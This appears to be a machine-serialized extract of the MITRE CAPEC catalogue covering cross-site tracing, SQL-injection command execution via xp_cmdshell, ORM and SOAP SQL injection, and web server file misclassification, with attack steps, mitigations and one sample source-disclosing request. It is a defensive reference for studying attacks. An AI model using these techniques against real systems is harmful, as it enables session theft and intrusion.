<xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Execute malicious HTTP Trace launching script] The adversary leverages an XSS vulnerability to force the victim to execute the malicious HTTP Trace launching script</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep1145 + Attack_Step_1145 + + + + + + + + + 5 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Intercept HTTP TRACE response] The adversary's script intercepts the HTTP TRACE response from teh web server, glance sensitive information from it, and forward that information to a server controlled by the adversary.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">HTTP TRACE is enabled on the web server</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The destination system is susceptible to XSS or an adversary can leverage some other weakness to bypass the same origin policy</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Scripting is enabled in the client's browser</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">HTTP is used as the communication protocol between the server and the client</xhtml:div> + + + + + + + + + + + + #indSkillSkill1158 + Skill_1158 + + + + + + + + + + + + + + Understanding of the HTTP protocol and an ability to craft a malicious script + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">None: No specialized resources are required to execute this type of attack.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence1164 + Consequence_1164 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence1168 + Consequence_1168 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence1174 + Consequence_1174 + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Administrators should disable support for HTTP TRACE at the destination's web server. Vendors should disable TRACE by default.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Patch web browser against known security origin policy bypass exploits.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;An adversary determines that a particular system is vulnerable to reflected cross-site scripting (XSS) and endeavors to leverage this weakness to steal the victim's authentication cookie. An adversary realizes that since httpOnly attribute is set on the user's cookie, it is not possible to steal it directly with their malicious script. Instead, the adversary has their script use XMLHTTP ActiveX control in the victim's IE browser to issue an HTTP TRACE to the target system's server which has HTTP TRACE enabled. The original HTTP TRACE request contains the session cookie and so does the echoed response. The adversary picks the session cookie from the body of HTTP TRACE response and ships it to the adversary. The adversary then uses the newly acquired victim's session cookie to impersonate the victim in the target system.&lt;/xhtml:p&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;In the absence of an XSS weakness on the site with which the victim is interacting, an adversary can get the script to come from the site that they control and get it to execute in the victim's browser (if they can trick the victim's into visiting their malicious website or clicking on the link that they supplies). However, in that case, due to the same origin policy protection mechanism in the browser, the adversary's malicious script cannot directly issue an HTTP TRACE request to the destination system's web server because the malicious script did not originate at that domain. An adversary will then need to find a way to exploit another weakness that would enable them to circumvent the same origin policy protection.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + 693 + + + + + 648 + + + + + + + + + + + + #indTaxonomyMappingCrossSiteTracing + Cross Site Tracing + + + + + + + + + + + + + + Cross Site Tracing + + + + + + + + + + + + #indReferenceReference1199 + Reference_1199 + + + + + + + + + REF-3 + + + + + + + + + + + + #indContentHistoryContentHistory1201 + Content_History_1201 + + + + + + + + + + + + + + + + #indSubmissionSubmission1202 + Submission_1202 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification1207 + Modification_1207 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-05-01 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification1213 + Modification_1213 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-08-04 + + + + + Updated Attack_Phases, Attack_Prerequisites, Description Summary, Examples-Instances, Resources_Required + + + + + + + + + + + + #indModificationModification1219 + Modification_1219 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Description, Example_Instances + + + + + + + + + + + + #indModificationModification1225 + Modification_1225 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-12-17 + + + + + Updated Description, Example_Instances, Execution_Flow, Related_Attack_Patterns, Taxonomy_Mappings + + + + + + + + + + + + #indModificationModification1231 + Modification_1231 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-02-22 + + + + + Updated Description, Extended_Description + + + + + + + + + + + + #CAPEC-108 + Command Line Execution through SQL Injection + + + + + + + + + 108 + + + + + Command Line Execution through SQL Injection + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An attacker uses standard SQL injection methods to inject data into the command line for execution. This could be done directly through misuse of directives such as MSSQL_xp_cmdshell or indirectly through injection of data into the database that would be interpreted as shell commands. Sometime later, an unscrupulous backend application (or could be part of the functionality of the same application) fetches the injected data stored in the database and uses this data as command line arguments without performing proper validation. The malicious data escapes that data plane by spawning new commands to be executed on the host.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern1246 + Related_Attack_Pattern_1246 + + + + + + + + + + + + + + 66 + + + + + + + + + + + + #indAttackStepAttackStep1249 + Attack_Step_1249 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Probe for SQL Injection vulnerability] The attacker injects SQL syntax into user-controllable data inputs to search unfiltered execution of the SQL syntax in a query.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep1254 + Attack_Step_1254 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Achieve arbitrary command execution through SQL Injection with the MSSQL_xp_cmdshell directive] The attacker leverages a SQL Injection attack to inject shell code to be executed by leveraging the xp_cmdshell directive.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep1259 + Attack_Step_1259 + + + + + + + + + 3 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Inject malicious data in the database] Leverage SQL injection to inject data in the database that could later be used to achieve command injection if ever used as a command line argument</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep1264 + Attack_Step_1264 + + + + + + + + + 4 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Trigger command line execution with injected arguments] The attacker causes execution of command line functionality which leverages previously injected database content as arguments.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The application does not properly validate data before storing in the database</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Backend application implicitly trusts the data stored in the database</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Malicious data is used on the backend as a command line argument</xhtml:div> + + + + + + + + + + + + #indSkillSkill1276 + Skill_1276 + + + + + + + + + + + + + + The attacker most likely has to be familiar with the internal functionality of the system to launch this attack. Without that knowledge, there are not many feedback mechanisms to give an attacker the indication of how to perform command injection or whether the attack is succeeding. + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">None: No specialized resources are required to execute this type of attack.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence1282 + Consequence_1282 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence1286 + Consequence_1286 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence1290 + Consequence_1290 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence1294 + Consequence_1294 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence1300 + Consequence_1300 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Run Arbitrary Code</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Disable MSSQL xp_cmdshell directive on the database</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Properly validate the data (syntactically and semantically) before writing it to the database.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Do not implicitly trust the data stored in the database. Re-validate it prior to usage to make sure that it is safe to use in a given context (e.g. as a command line argument).</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;SQL injection vulnerability in Cacti 0.8.6i and earlier, when register_argc_argv is enabled, allows remote attackers to execute arbitrary SQL commands via the (1) second or (2) third arguments to cmd.php. NOTE: this issue can be leveraged to execute arbitrary commands since the SQL query results are later used in the polling_items array and popen function (CVE-2006-6799).&lt;/xhtml:p&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Reference: https://www.cve.org/CVERecord?id=CVE-2006-6799&lt;/xhtml:p&gt; + </xhtml:div> + + + + + 89 + + + + + 74 + + + + + 20 + + + + + 78 + + + + + 114 + + + + + + + + + + + + #indContentHistoryContentHistory1326 + Content_History_1326 + + + + + + + + + + + + + + + + #indSubmissionSubmission1327 + Submission_1327 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification1332 + Modification_1332 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-08-04 + + + + + Updated Resources_Required + + + + + + + + + + + + #indModificationModification1338 + Modification_1338 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Example_Instances + + + + + + + + + + + + #CAPEC-109 + Object Relational Mapping Injection + + + + + + + + + 109 + + + + + Object Relational Mapping Injection + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An attacker leverages a weakness present in the database access layer code generated with an Object Relational Mapping (ORM) tool or a weakness in the way that a developer used a persistence framework to inject their own SQL commands to be executed against the underlying database. The attack here is similar to plain SQL injection, except that the application does not use JDBC to directly talk to the database, but instead it uses a data access layer generated by an ORM tool or framework (e.g. Hibernate). While most of the time code generated by an ORM tool contains safe access methods that are immune to SQL injection, sometimes either due to some weakness in the generated code or due to the fact that the developer failed to use the generated access methods properly, SQL injection is still possible.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern1352 + Related_Attack_Pattern_1352 + + + + + + + + + + + + + + 66 + + + + + + + + + + + + #indAttackStepAttackStep1355 + Attack_Step_1355 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Determine Persistence Framework Used] An attacker tries to determine what persistence framework is used by the application in order to leverage a weakness in the generated data access layer code or a weakness in a way that the data access layer may have been used by the developer.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An attacker provides input to the application in an attempt to induce an error screen that reveals a stack trace that gives an indication of the automated data access layer used. Or an attacker may simply make some educated guesses and assume, for instance, that Hibernate is used and try to craft an attack from there.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep1361 + Attack_Step_1361 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Probe for ORM Injection vulnerabilities] The attacker injects ORM syntax into user-controllable data inputs of the application to determine if it is possible modify data query structure and content.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep1366 + Attack_Step_1366 + + + + + + + + + 3 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Perform SQL Injection through the generated data access layer] An attacker proceeds to exploit a weakness in the generated data access methods that does not properly separate control plane from the data plan, or potentially a particular way in which developer might have misused the generated code, to modify the structure of the executed SQL queries and/or inject entirely new SQL queries.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An attacker uses normal SQL injection techniques and adjusts them to reflect the type of data access layer generation framework used by the application.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An application uses data access layer generated by an ORM tool or framework</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An application uses user supplied data in queries executed against the database</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The separation between data plane and control plane is not ensured, through either developer error or an underlying weakness in the data access layer code generation framework</xhtml:div> + + + + + + + + + + + + #indSkillSkill1379 + Skill_1379 + + + + + + + + + + + + + + Knowledge of general SQL injection techniques and subtleties of the ORM framework is needed + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">None: No specialized resources are required to execute this type of attack.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence1385 + Consequence_1385 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence1389 + Consequence_1389 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence1393 + Consequence_1393 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence1397 + Consequence_1397 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence1403 + Consequence_1403 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Run Arbitrary Code</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Remember to understand how to use the data access methods generated by the ORM tool / framework properly in a way that would leverage the built-in security mechanisms of the framework</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Ensure to keep up to date with security relevant updates to the persistence framework used within your application.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">When using Hibernate, it is possible to use the session.find() method to run queries against the database. This is an overloaded method that provides facilities to perform binding between the supplied user data and place holders in the statically defined query. However, it is also possible to use the session.find() method without using any of these query binding overloads, hence effectively concatenating the user supplied data with rest of the SQL query, resulting in a possibility for SQL injection. While the framework may provide mechanisms to use methods immune to SQL injections, it may also contain ways that are not immune that may be chosen by the developer.</xhtml:div> + + + + + 20 + + + + + 89 + + + + + 564 + + + + + + + + + + + + #indReferenceReference1425 + Reference_1425 + + + + + + + + + REF-4 + + + + + Testing for ORM Injection (OWASP-DV-007) + + + + + + + + + + + + #indContentHistoryContentHistory1427 + Content_History_1427 + + + + + + + + + + + + + + + + #indSubmissionSubmission1428 + Submission_1428 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification1433 + Modification_1433 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-08-04 + + + + + Updated Resources_Required + + + + + + + + + + + + #indModificationModification1439 + Modification_1439 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Description + + + + + + + + + + + + #indModificationModification1445 + Modification_1445 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2021-06-24 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #CAPEC-11 + Cause Web Server Misclassification + + + + + + + + + 11 + + + + + Cause Web Server Misclassification + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An attack of this type exploits a Web server's decision to take action based on filename or file extension. Because different file types are handled by different server processes, misclassification may force the Web server to take unexpected action, or expected actions in an unexpected sequence. This may cause the server to exhaust resources, supply debug or system data to the attacker, or bind an attacker to a remote process.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;This type of vulnerability has been found in many widely used servers including IIS, Lotus Domino, and Orion. The attacker's job in this case is straightforward, standard communication protocols and methods are used and are generally appended with malicious information at the tail end of an otherwise legitimate request. The attack payload varies, but it could be special characters like a period or simply appending a tag that has a special meaning for operations on the server side like .jsp for a java application server. The essence of this attack is that the attacker deceives the server into executing functionality based on the name of the request, i.e. login.jsp, not the contents.&lt;/xhtml:p&gt; + </xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern1462 + Related_Attack_Pattern_1462 + + + + + + + + + + + + + + 635 + + + + + + + + + + + + #indAttackStepAttackStep1465 + Attack_Step_1465 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Footprint file input vectors] Manually or using an automated tool, an attacker searches for all input locations where a user has control over the filenames or MIME types of files submitted to the web server.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Attacker manually crawls application to identify file inputs</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Attacker uses an automated tool to crawl application identify file inputs</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Attacker manually assesses strength of access control protecting native application files from user control</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Attacker explores potential for submitting files directly to the web server via independently constructed HTTP Requests</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep1474 + Attack_Step_1474 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[File misclassification shotgunning] An attacker makes changes to file extensions and MIME types typically processed by web servers and looks for abnormal behavior.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Attacker submits files with switched extensions (e.g. .php on a .jsp file) to web server.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Attacker adds extra characters (e.g. adding an extra . after the file extension) to filenames of files submitted to web server.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep1481 + Attack_Step_1481 + + + + + + + + + 3 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[File misclassification sniping] Understanding how certain file types are processed by web servers, an attacker crafts varying file payloads and modifies their file extension or MIME type to be that of the targeted type to see if the web server is vulnerable to misclassification of that type.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Craft a malicious file payload, modify file extension to the targeted file type and submit it to the web server.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Craft a malicious file payload, modify its associated MIME type to the targeted file type and submit it to the web server.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep1488 + Attack_Step_1488 + + + + + + + + + 4 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Disclose information] The attacker, by manipulating a file extension or MIME type is able to make the web server return raw information (not executed).</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Manipulate the file names that are explicitly sent to the server.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Manipulate the MIME sent in order to confuse the web server.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Web server software must rely on file name or file extension for processing.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The attacker must be able to make HTTP requests to the web server.</xhtml:div> + + + + + + + + + + + + #indSkillSkill1501 + Skill_1501 + + + + + + + + + + + + + + To modify file name or file extension + + + + + + + + + + + + #indSkillSkill1502 + Skill_1502 + + + + + + + + + + + + + + To use misclassification to force the Web server to disclose configuration information, source, or binary data + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">None: No specialized resources are required to execute this type of attack.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence1508 + Consequence_1508 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence1512 + Consequence_1512 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Implementation: Server routines should be determined by content not determined by filename or file extension.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml"> + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;J2EE application servers are supposed to execute Java Server Pages (JSP). There have been disclosure issues relating to Orion Application Server, where an attacker that appends either a period (.) or space characters to the end of a legitimate Http request, then the server displays the full source code in the attackers' web browser.&lt;/xhtml:p&gt; + &lt;xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3" style="margin-left:1em;" class="attack"&gt;http://victim.site/login.jsp.&lt;/xhtml:div&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;Since remote data and directory access may be accessed directly from the JSP, this is a potentially very serious issue.&lt;/xhtml:p&gt; + &lt;xhtml:p xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://capec.mitre.org/capec-3" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:capec="http://capec.mitre.org/capec-3"&gt;[REF-6]&lt;/xhtml:p&gt; + </xhtml:div> + + + + + 430 + + + + + + + + + + + + #indTaxonomyMappingMasqueradingSpaceAfterFilename + Masquerading: Space after Filename + + + + + + + + + + + + + + 1036.006 + + + + + Masquerading: Space after Filename + + + + + + + + + + + + #indReferenceReference1540 + Reference_1540 + + + + + + + + + REF-1 + + + + + + + + + + + + #indReferenceReference1541 + Reference_1541 + + + + + + + + + REF-6 + + + + + + + + + + + + #indContentHistoryContentHistory1543 + Content_History_1543 + + + + + + + + + + + + + + + + #indSubmissionSubmission1544 + Submission_1544 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2014-06-23 + + + + + + + + + + + + #indModificationModification1549 + Modification_1549 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-01-09 + + + + + Updated Related_Attack_Patterns + + + + + + + + + + + + #indModificationModification1555 + Modification_1555 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2017-08-04 + + + + + Updated Attack_Prerequisites, Resources_Required + + + + + + + + + + + + #indModificationModification1561 + Modification_1561 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2018-07-31 + + + + + Updated Related_Attack_Patterns, Related_Weaknesses + + + + + + + + + + + + #indModificationModification1567 + Modification_1567 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2019-04-04 + + + + + Updated Related_Weaknesses + + + + + + + + + + + + #indModificationModification1573 + Modification_1573 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2020-07-30 + + + + + Updated Example_Instances + + + + + + + + + + + + #indModificationModification1579 + Modification_1579 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-02-22 + + + + + Updated Description, Extended_Description + + + + + + + + + + + + #indModificationModification1585 + Modification_1585 + + + + + + + + + CAPEC Content Team + + + + + The MITRE Corporation + + + + + 2022-09-29 + + + + + Updated Example_Instances, Taxonomy_Mappings + + + + + + + + + + + + #CAPEC-110 + SQL Injection through SOAP Parameter Tampering + + + + + + + + + 110 + + + + + SQL Injection through SOAP Parameter Tampering + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An attacker modifies the parameters of the SOAP message that is sent from the service consumer to the service provider to initiate a SQL injection attack. On the service provider side, the SOAP message is parsed and parameters are not properly validated before being used to access a database in a way that does not use parameter binding, thus enabling the attacker to control the structure of the executed SQL query. This pattern describes a SQL injection attack with the delivery mechanism being a SOAP message.</xhtml:div> + + + + + + + + + + + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern1600 + Related_Attack_Pattern_1600 + + + + + + + + + + + + + + 66 + + + + + + + + + + + + #indRelatedAttackPatternRelatedAttackPattern1601 + Related_Attack_Pattern_1601 + + + + + + + + + + + + + + 108 + + + + + + + + + + + + #indAttackStepAttackStep1604 + Attack_Step_1604 + + + + + + + + + 1 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Detect Incorrect SOAP Parameter Handling] The attacker tampers with the SOAP message parameters and looks for indications that the tampering caused a change in behavior of the targeted application.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The attacker tampers with the SOAP message parameters by injecting some special characters such as single quotes, double quotes, semi columns, etc. The attacker observes system behavior.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep1610 + Attack_Step_1610 + + + + + + + + + 2 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Probe for SQL Injection vulnerability] The attacker injects SQL syntax into vulnerable SOAP parameters identified during the Explore phase to search for unfiltered execution of the SQL syntax in a query.</xhtml:div> + + + + + + + + + + + + #indAttackStepAttackStep1615 + Attack_Step_1615 + + + + + + + + + 3 + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">[Inject SQL via SOAP Parameters] The attacker injects SQL via SOAP parameters identified as vulnerable during Explore phase to launch a first or second order SQL injection attack.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An attacker performs a SQL injection attack via the usual methods leveraging SOAP parameters as the injection vector. An attacker has to be careful not to break the XML parser at the service provider which may prevent the payload getting through to the SQL query. The attacker may also look at the WSDL for the web service (if available) to better understand what is expected by the service provider.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">SOAP messages are used as a communication mechanism in the system</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">SOAP parameters are not properly validated at the service provider</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">The service provider does not properly utilize parameter binding when building SQL queries</xhtml:div> + + + + + + + + + + + + #indSkillSkill1628 + Skill_1628 + + + + + + + + + + + + + + If the attacker is able to gain good understanding of the system's database schema + + + + + + + + + + + + #indSkillSkill1629 + Skill_1629 + + + + + + + + + + + + + + If the attacker has to perform Blind SQL Injection + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">None: No specialized resources are required to execute this type of attack.</xhtml:div> + + + + + + + + + + + + #indConsequenceConsequence1635 + Consequence_1635 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence1639 + Consequence_1639 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence1643 + Consequence_1643 + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence1647 + Consequence_1647 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + #indConsequenceConsequence1653 + Consequence_1653 + + + + + + + + + + + + + + + + + + + + + + + + + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Run Arbitrary Code</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Properly validate and sanitize/reject user input at the service provider.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">Ensure that prepared statements or other mechanism that enables parameter binding is used when accessing the database in a way that would prevent the attackers' supplied data from controlling the structure of the executed query.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">At the database level, ensure that the database user used by the application in a particular context has the minimum needed privileges to the database that are needed to perform the operation. When possible, run queries against pre-generated views rather than the tables directly.</xhtml:div> + + + + + <xhtml:div xmlns:xhtml="http://www.w3.org/1999/xhtml">An attacker uses a travel booking system that leverages SOAP communication between the client and the travel booking service. An attacker begins to tamper with the outgoing SOAP messages by modifying their parameters to include characters that would break a dynamically constructed SQL query. They notice that the system fails to respond when these malicious inputs are injected in certain parameters transferred in a SOAP message. The attacker crafts a SQL query that modifies their payment amount in the travel system's database and passes it as one of the parameters . A backend batch payment system later fetches the payment amount from the database (the modified payment amount) and sends to the credit card processor, enabling the attacker to purchase the airfare at a lower price. An attacker needs to have some knowledge of the system's database, perhaps by exploiting another weakness that results in information disclosure.</xhtml:div> + + + + + 89 + + + + + 20 + + + + + + + + + + + + #indContentHistoryContentHistory1673 + Content_History_1673 + + + + + + + + + + + + + + + + 